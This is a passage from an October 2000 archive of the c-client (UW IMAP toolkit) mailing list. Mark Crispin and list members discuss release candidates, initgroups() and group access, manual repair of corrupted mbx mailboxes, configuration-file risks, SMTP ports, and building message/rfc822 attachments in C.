-0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id IAA109714 for ; Wed, 18 Oct 2000 08:47:41 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id IAA05812 for ; Wed, 18 Oct 2000 08:47:41 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (jtw@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id IAA19850 for ; Wed, 18 Oct 2000 08:47:41 -0700 Message-Id: Date: Wed, 18 Oct 2000 08:35:58 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: David Lee Cc: c-client Interest List Subject: Re: Announcing: UW IMAP toolkit 2000 Release Candidate 7 In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 18 Oct 2000 15:50:10 +0100 (BST), David Lee wrote: > 1. Are there any further events planned for the next week or so? (Such > as RC8 or the official release?) There will probably be an RC8, because it looks likely that there will be another Pine prerelease before the release of Pine 4.30. > 2. Should we move imap-utils at the same time? Sounds like a good idea. > we still have imapd, popd and tmail which (I'm fairly sure) are also > calling initgroups(). My guess is that this is unnecessary, and I'm > thinking of producing a patch so that "initgroups()" can be bypassed > (using some sort of "#define" mechanism at build time). If you depend upon group access working (e.g. for shared mailboxes), then you need the initgroups(). Otherwise, you can turn it off as you suggest, but please remember that you broke group access (so don't send me a bug report about it later!). Sooner or later, there will be mechanisms to make group access more useful with IMAP. You'll have to decide whether to do without the facility, or solve the problem in some other way. I'm a little bit surprised to hear that anyone is able to use NIS+ and get reasonable server performance. > Another point: why is imap-utils separate? Given that it is so intimately > bound to the main imap software, why not just bundle it? I've thought about it, particularly for tmail and dmail. The problem is that a great deal of effort had to go into aggressive portability in the main IMAP toolkit. Somewhat less portability effort went into the imap-utils, and that needs to be fixed before they could be bundled. They're UNIX-only; I would not feel happy with bundling unless (at least) I made them work on Win2K. It'd be easier to fix some, harder to fix others. Then there's all the old UNIX ports. There are still systems out there that don't have ANSI C compilers. I didn't write some of the imap-utils, and those programs don't follow the rules necessary to feed through the unansi program properly. Fortunately, this problem is rapidly heading into extinction. It probably will happen, eventually; but it can't happen yet. > Thanks for your continued provision of the great software. Thank you for the nice words. From pinedev@shivax2.cac.washington.edu Wed Oct 18 09:09:18 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 18 Oct 2000 09:09:17 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id JAA01224 for ; Wed, 18 Oct 2000 09:09:16 -0700 (PDT) Received: from list4.u.washington.edu (root@list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id JAA20653; Wed, 18 Oct 2000 09:09:14 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id JAA15198; Wed, 18 Oct 2000 09:08:02 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id JAA78938 for ; Wed, 18 Oct 2000 09:07:14 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id JAA00685 for ; Wed, 18 Oct 2000 09:07:14 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (pao@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id JAA20578 for ; Wed, 18 Oct 2000 09:07:13 -0700 Message-Id: Date: Wed, 18 Oct 2000 08:49:37 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Mike Trank Cc: c-client@CAC.Washington.EDU Subject: re: repairing "mbx" formatted files In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 18 Oct 2000 09:46:16 -0600 (CST), Mike Trank wrote: > Anyone know a way that I can repair an "mbx" type mailbox file, manually > or otherwise? Some people have developed automated scripts, but if you're comfortable using emacs it's pretty easy to fix it manually. DON'T USE vi OR ANY OTHER EDITOR UNLESS YOU ARE CERTAIN THAT EDITOR CAN HANDLE BINARY!!! A c-client program would have issued an error message saying which byte number it got to when it got unhappy with it the file, usually after the word "at", e.g. something like: Unable to parse internal header at 43921: ne bombastic blurdybloop This byte number ("43921") is the location of the error in the file. That's the point you need to fix. c-client is expecting an internal header at that byte number, looking something like: 6-Jan-1998 17:42:24 -0800,1045;000000100001-00000001 The format of this internal line is: dd-mmm-yyyy hh:mm:ss +zzzz,ssss;ffffffffFFFF-UUUUUUUU The only thing that is variable is the "ssss" field, it can be as many digits as needed. All other fields (inluding the "dd") are fixed width. So, the easiest thing to do is to look forward in the file for the next internal header, and delete everything from the error point to that internal header. Here's what to do if you want to be smarter and do a little bit more work. Generally, you're in the middle of a message, and there's nothing wrong with that message. The problem happened in the *previous* message. So, search back to the previous internal header. Now, remember that "ssss" field? That's the size of that message. Mark where you are in the file, move the cursor to the line after the internal header, and skip that many bytes ("ssss") forward. If you're at the point of the error in the file, then that message is corrupt. If you're at a different point, then perhaps the previous message is corrupt and has a too long size count that "ate" into this message. Basically, what you need to do is make sure that all those size counts are right, and that moving "ssss" bytes from the line after the internal header will land you at another internal header. Usually, once you know what you're looking at, it's pretty easy to work out the corruption, and the best remedial action. I generally don't use repair scripts because I prefer the flexibility of manual repair. Repair scripts will make the problem go away but may not always do the smartest/best salvage of the user's data. > It got ruined because I did not take Mark's advice about not using "mbx" > with NFS..... > Now, no c-client programs can open it up.... Sigh, sorry to hear this. From pinedev@shivax2.cac.washington.edu Thu Oct 19 08:56:44 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 19 Oct 2000 08:56:44 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id IAA30697 for ; Thu, 19 Oct 2000 08:56:43 -0700 (PDT) Received: from list3.u.washington.edu (root@list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id IAA10421; Thu, 19 Oct 2000 08:56:41 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id IAA20160; Thu, 19 Oct 2000 08:55:27 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id IAA78942 for ; Thu, 19 Oct 2000 08:53:15 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id IAA11297 for ; Thu, 19 Oct 2000 08:53:14 -0700 Received: from icarus.dur.ac.uk (icarus.dur.ac.uk [129.234.4.81]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id IAA24444; Thu, 19 Oct 2000 08:53:08 -0700 Received: from mercury.dur.ac.uk (mercury.dur.ac.uk [129.234.4.40]) by icarus.dur.ac.uk (8.9.1/8.9.1) with ESMTP id QAA02648; Thu, 19 Oct 2000 16:53:03 +0100 (BST) Received: from arachne (arachne.dur.ac.uk [129.234.2.4]) by mercury.dur.ac.uk (8.9.1/8.9.1) with ESMTP id QAA05701; Thu, 19 Oct 2000 16:53:03 +0100 (BST) Message-Id: Date: Thu, 19 Oct 2000 16:53:01 +0100 (BST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: David Lee To: Mark Crispin Cc: c-client Interest List Subject: initgroups() [Was: Re: Announcing: UW IMAP toolkit 2000 Release Candidate 7] In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 18 Oct 2000, Mark Crispin wrote: > There will probably be an RC8, because it looks likely that there will be > another Pine prerelease before the release of Pine 4.30. Thanks. > If you depend upon group access working (e.g. for shared mailboxes), then you > need the initgroups(). Otherwise, you can turn it off as you suggest, but > please remember that you broke group access (so don't send me a bug report > about it later!). Thanks for alerting me to the shared mailbox thing. We don't (yet) use that, but if any patch is to be generally useful, I must remember this. Presumably shared mailboxes require initgroups() from the reader programs. But would tmail need it? (That is, can tmail (on the one hand) and the reader programs (on the other) be treated independently, or is their use of initgroups() intimately tied together?) > Sooner or later, there will be mechanisms to make group access more useful > with IMAP. You'll have to decide whether to do without the facility, or solve > the problem in some other way. Thanks. A run-time config file would be useful. The present mechanism ("docs/imaprc.txt" mentions "/etc/c-client.cf" and "~/.imaprc") is hedged around with dire warnings. Any chance of a facility that is safe (or as reasonably safe as such things can be) for other sites to use? > I'm a little bit surprised to hear that anyone is able to use NIS+ and get > reasonable server performance. Our groups info is in NIS, not NIS+ . And performance is exactly the local issue that started this thread! > I've thought about it, particularly for tmail and dmail. The problem is that > a great deal of effort had to go into aggressive portability in the main IMAP > toolkit. Somewhat less portability effort went into the imap-utils, and that > needs to be fixed before they could be bundled. > > They're UNIX-only; I would not feel happy with bundling unless (at least) I > made them work on Win2K. It'd be easier to fix some, harder to fix others. ?? If they are UNIX only, presumably the minimum necessary for compatibility is a Win2K install procedure (whatever that may be) that politely informs the user: "Not yet supported". That's no worse than the present, and considerably safer for compatibility, isn't it? -- : David Lee I.T. Service : : Systems Programmer Computer Centre : : University of Durham : : http://www.dur.ac.uk/~dcl0tdl South Road : : Durham : : Phone: +44 191 374 2882 U.K. : From pinedev@shivax2.cac.washington.edu Thu Oct 19 09:19:11 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 19 Oct 2000 09:19:11 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id JAA31992 for ; Thu, 19 Oct 2000 09:19:10 -0700 (PDT) Received: from list4.u.washington.edu (root@list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id JAA25334; Thu, 19 Oct 2000 09:19:07 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id JAA18106; Thu, 19 Oct 2000 09:17:51 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id JAA130404 for ; Thu, 19 Oct 2000 09:13:04 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu4.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id JAA15549 for ; Thu, 19 Oct 2000 09:13:04 -0700 Received: from david.siemens.de (david.siemens.de [192.35.17.14]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id JAA10944; Thu, 19 Oct 2000 09:13:01 -0700 Received: from mail3.siemens.de (mail3.siemens.de [139.25.208.14]) by david.siemens.de (8.11.0/8.11.0) with ESMTP id e9JGCxB07846; Thu, 19 Oct 2000 18:12:59 +0200 (MET DST) Received: from MOWD019A.mow.siemens.ru ([139.24.18.3]) by mail3.siemens.de (8.11.0/8.11.0) with ESMTP id e9JGCwY19483133; Thu, 19 Oct 2000 18:12:58 +0200 (MEST) Received: from mw1g17c (mw1g17c.mow.siemens.ru [149.202.201.33]) by MOWD019A.mow.siemens.ru with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2650.21) id VFMT1CLV; Thu, 19 Oct 2000 20:18:44 +0400 Message-Id: <002001c039e7$71f58bc0$21c9ca95@mow.siemens.ru> Date: Thu, 19 Oct 2000 20:12:57 +0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Andrej Borsenkow" To: "David Lee" , "Mark Crispin" Cc: "c-client Interest List" Subject: RE: initgroups() [Was: Re: Announcing: UW IMAP toolkit 2000 Release Candidate 7] In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Envelope-Sender-Is: Andrej.Borsenkow@mow.siemens.ru (at relayer david.siemens.de) X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN > > Thanks. A run-time config file would be useful. The present mechanism > ("docs/imaprc.txt" mentions "/etc/c-client.cf" and "~/.imaprc") is hedged > around with dire warnings. Any chance of a facility that is safe (or as > reasonably safe as such things can be) for other sites to use? > I'm using /etc/c-client.cf and ~/.imaprc for years. Believe me, reasons for these dire warnings are not technical. OTOH there is very little documentation (existing one is more description than explanation), so you'll have to sometimes check sources for precise effects of parameters. > > > I've thought about it, particularly for tmail and dmail. The > problem is that > > a great deal of effort had to go into aggressive portability in > the main IMAP > > toolkit. Somewhat less portability effort went into the > imap-utils, and that > > needs to be fixed before they could be bundled. > > > > They're UNIX-only; I would not feel happy with bundling unless > (at least) I > > made them work on Win2K. It'd be easier to fix some, harder to > fix others. > > ?? If they are UNIX only, presumably the minimum necessary for > compatibility is a Win2K install procedure (whatever that may be) that > politely informs the user: "Not yet supported". That's no worse than the > present, and considerably safer for compatibility, isn't it? > dmail and tmail have #include . On our system this file is not in standard search path (and I do _not_ want to add it's location to search path) so I have to manually copy it and adjust (t|d)mail.c. How it for a compatibility problem? :-)) -andrej From pinedev@shivax2.cac.washington.edu Thu Oct 19 10:34:03 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 19 Oct 2000 10:34:03 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id KAA31779 for ; Thu, 19 Oct 2000 10:34:02 -0700 (PDT) Received: from list2.u.washington.edu (root@list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA27873; Thu, 19 Oct 2000 10:34:00 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id KAA21402; Thu, 19 Oct 2000 10:32:32 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id KAA101604 for ; Thu, 19 Oct 2000 10:30:17 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu1.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA19319 for ; Thu, 19 Oct 2000 10:30:17 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (alan@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id KAA27766 for ; Thu, 19 Oct 2000 10:30:17 -0700 Message-Id: Date: Thu, 19 Oct 2000 10:11:23 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Andrej Borsenkow Cc: David Lee , c-client Interest List Subject: RE: initgroups() [Was: Re: Announcing: UW IMAP toolkit 2000 Release Candidate 7] In-Reply-To: <002001c039e7$71f58bc0$21c9ca95@mow.siemens.ru> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 19 Oct 2000 20:12:57 +0400, Andrej Borsenkow wrote: > I'm using /etc/c-client.cf and ~/.imaprc for years. Believe me, reasons for > these dire warnings are not technical. I know that clever hackers like you are always going to use the power user facilities like this. The problem is that for every clever hacker, there's 1000 ordinary folks who are best off avoiding things that can hurt them. Sites *have* burned themselves badly with ill-considered use of these files (including lost mail). Almost always, it's someone who didn't really need to use them, but felt that he had to have them. I get the bug reports. If I'm lucky, they admit to the mistake; more often, I get to waste a few hours finding it out. Someone who really, really, knows what he's doing can use these files to advantage. Nevertheless, "even monkeys fall from trees" sometimes. I'm one of them; I once burnt myself with those files! On another note, folks, RC8 is out. There are just a few minor changes from RC7. Hopefully it'll be the last one. From pinedev@shivax2.cac.washington.edu Thu Oct 19 15:56:43 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 19 Oct 2000 15:56:43 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id PAA10703 for ; Thu, 19 Oct 2000 15:56:42 -0700 (PDT) Received: from list1.u.washington.edu (root@list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id PAA06202; Thu, 19 Oct 2000 15:56:40 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id PAA18490; Thu, 19 Oct 2000 15:51:56 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id PAA200916 for ; Thu, 19 Oct 2000 15:50:44 -0700 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.5]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id PAA04005 for ; Thu, 19 Oct 2000 15:50:44 -0700 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.100.201]) by mxout1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id PAA12505 for ; Thu, 19 Oct 2000 15:50:43 -0700 Received: from localhost (postmast@localhost) by shiva1.cac.washington.edu (8.10.1+UW00.04/8.10.1+UW00.04) with ESMTP id e9JMoft03199 for ; Thu, 19 Oct 2000 15:50:42 -0700 Message-Id: Date: Thu, 19 Oct 2000 15:50:40 -0700 (PDT) Reply-To: Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: To: Subject: smtp server on a non-standard port? MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I would like to run an smtp server on a non-standard port for a specific set of email users. It appears that the only place a port could be specified in a email address is as a route, however both books I have consulted advise never using the route-addr:local-part@domain form of email address. Can anyone point me to any information about how to use smtp on a non-standard port, specifically what the email address would look like, e.g. how is the alternative port specified? Thanks -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Oct 19 16:08:55 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 19 Oct 2000 16:08:55 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id QAA24049 for ; Thu, 19 Oct 2000 16:08:54 -0700 (PDT) Received: from list4.u.washington.edu (root@list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id QAA06622; Thu, 19 Oct 2000 16:08:52 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id QAA20632; Thu, 19 Oct 2000 16:07:35 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id QAA62374 for ; Thu, 19 Oct 2000 16:05:49 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (martell@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id QAA17270 for ; Thu, 19 Oct 2000 16:05:48 -0700 Message-Id: Date: Thu, 19 Oct 2000 16:02:10 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: BrendaGSpielman@cs.com Cc: c-client@u.washington.edu Subject: re: smtp server on a non-standard port? In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 19 Oct 2000 15:50:40 -0700 (PDT), BrendaGSpielman@cs.com wrote: > I would like to run an smtp server on a non-standard port for a specific > set of email users. It appears that the only place a port could be > specified in a email address is as a route, however both books I have > consulted advise never using the route-addr:local-part@domain form of > email address. I think that you are confused. The route syntax in no way specifies a port; it is completely coincidental that c-client's host:port syntax and SMTP's route syntax use the same delimiter. These two are used in entirely different and non-overlapping contexts. The c-client host:port syntax is used only in certain c-client application calls, and it never appears in anything transmitted over the net. > Can anyone point me to any information about how to use smtp on a > non-standard port, specifically what the email address would look like, e.g. > how is the alternative port specified? Unfortunately, there is no way to do this. From pinedev@shivax2.cac.washington.edu Thu Oct 19 20:42:50 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 19 Oct 2000 20:42:50 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id UAA19368 for ; Thu, 19 Oct 2000 20:42:49 -0700 (PDT) Received: from list3.u.washington.edu (root@list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id UAA13037; Thu, 19 Oct 2000 20:42:47 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id UAA36692; Thu, 19 Oct 2000 20:41:40 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id UAA131502 for ; Thu, 19 Oct 2000 20:39:59 -0700 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id UAA13371 for ; Thu, 19 Oct 2000 20:39:59 -0700 Received: from guiness.netcomsa.com ([216.72.122.3]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id UAA12951 for ; Thu, 19 Oct 2000 20:39:55 -0700 Received: from localhost (mike@localhost) by guiness.netcomsa.com (8.8.8/8.8.8) with ESMTP id VAA10465 for ; Thu, 19 Oct 2000 21:40:26 -0600 Message-Id: Date: Thu, 19 Oct 2000 21:40:26 -0600 (CST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mike Trank To: c-client@CAC.Washington.EDU Subject: MESSAGE/RFC822 MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN How do I put a whole message from an open mailbox as a message/rfc822 type attachment? I have a program that tries to contruct a message with the first part text/plain and the second part a message/rfc822. This attachment I want to be a copy of a message that I am extracting from an open mailbox. BODY *msgbody; // from a mesage in the mailbox ENVELOPE *msgenv; // also from a message inthe mailbox MESSAGE msg; // empty, so far. msgpart[1]->body.type = TYPEMESSAGE; msgpart[1]->body.subtype = "RFC822"; msgpart[1]->body.id = NIL; msgpart[1]->body.description = "Forwarded Email Message"; msgpart[1]->body.nested.msg = &msg; msgpart[1]->body.nested.msg->env = msgenv; msgpart[1]->body.nested.msg->body = msgbody; msgpart[1]->body.encoding = ????; msgpart[1]->body.size.lines = ????; msgpart[1]->body.size.bytes = ????; The message that gets constructed and sent seems to have some correct mime headers at least, since when I open it with pine, it shows part1 correctly, and that there is a part 2 type message/rfc822, and a part 2.1 with type text/plain but it has 0 bytes. Is this because I have to set the size and/or encoding? Also, "internal.txt" only talks about *env and *body in the MESSAGE structure, but there is some other stuff in the structure. Do I have to fil out any other of the member variables? thanks. -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Thu Oct 19 20:49:37 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 19 Oct 2000 20:49:36 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id UAA16643 for ; Thu, 19 Oct 2000 20:49:35 -0700 (PDT) Received: from list3.u.washington.edu (root@list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id UAA13149; Thu, 19 Oct 2000 20:49:33 -0700 Received: from host (server@lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with SMTP id UAA42208; Thu, 19 Oct 2000 20:48:51 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.9.3+UW00.05/8.9.3+UW99.09) with ESMTP id UAA131510 for ; Thu, 19 Oct 2000 20:47:26 -0700 Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.1]) by mxu3.u.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id UAA14243 for ; Thu, 19 Oct 2000 20:47:24 -0700 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.5]) by mx1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id UAA31397 for ; Thu, 19 Oct 2000 20:47:24 -0700 Received: from mailhost2.u.washington.edu (mailhost2.u.washington.edu [140.142.33.2]) by mxout1.cac.washington.edu (8.9.3+UW00.02/8.9.3+UW99.09) with ESMTP id UAA05521; Thu, 19 Oct 2000 20:47:23 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (foo@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mailhost2.u.washington.edu (8.9.3+UW00.02/8.9.3+UW00.01) with ESMTP id UAA25210; Thu, 19 Oct 2000 20:47:23 -0700 Message-Id: Date: Thu, 19 Oct 2000 20:44:50 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Mike Trank Cc: c-client@CAC.Washington.EDU Subject: re: MESSAGE/RFC822 In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 19 Oct 2000 21:40:26 -0600 (CST), Mike Trank wrote: > How do I put a whole message from an open mailbox as a message/rfc822 type > attachment? Attach it the same way you attach a TEXT/PLAIN, only setting the type to TYPEMESSAGE and the subtype to "RFC822". Don't do anything with the body.nested.msg stuff; that is for reading only, sending ignores it. From pinedev@shivax2.cac.washington.edu Thu Oct 19 20:58:29 2000 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 19 Oct 2000 20:58:29 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.9.3+UW99.09/8.9.3+UW00.01) with ESMTP id UAA31830 for ; Thu, 19 Oct 2000 20:58:28 -0700 (PDT) Received: from 